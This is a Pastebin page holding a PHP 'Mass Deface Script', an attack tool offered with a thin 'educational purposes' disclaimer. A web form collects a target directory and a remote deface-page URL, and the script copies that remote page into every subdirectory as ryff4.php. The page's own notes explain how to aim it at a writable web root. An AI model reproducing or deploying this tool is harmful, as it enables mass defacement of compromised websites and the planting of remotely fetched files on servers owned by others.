Advertisement
Ryfa

Untitled

Jan 25th, 2016
1,474
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. <?php
  2. /*
  3. Script: Mass Deface Script
  4. Author: DonHaXor
  5. Email: DonHaXor@gmail.com
  6. Disclaimer:
  7. This script is for Research/Educational/Academic purposes only,
  8. The Author of this script takes no responsibility for the way
  9. you use this script, you are responsible for your own actions.
  10. */
  11. echo "<center><textarea rows='10' cols='100'>";
  12. $defaceurl = $_POST['massdefaceurl'];
  13. $dir = $_POST['massdefacedir'];
  14. echo $dir."\n";
  15.  
  16. if (is_dir($dir)) {
  17. if ($dh = opendir($dir)) {
  18. while (($file = readdir($dh)) !== false) {
  19. if(filetype($dir.$file)=="dir"){
  20. $newfile=$dir.$file."/ryff4.php";
  21. echo $newfile."\n";
  22. if (!copy($defaceurl, $newfile)) {
  23. echo "failed to copy $file...\n";
  24. }
  25. }
  26. }
  27. closedir($dh);
  28. }
  29. }
  30. echo "</textarea></center>";
  31. ?>
  32. <td align=right>Mass Defacement:</td><br>
  33. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  34. [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
  35. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  36. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  37.  
  38.  
  39.  
  40. <br><br><br>
  41. ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
  42. ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
  43. By DonHaXor
  44. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement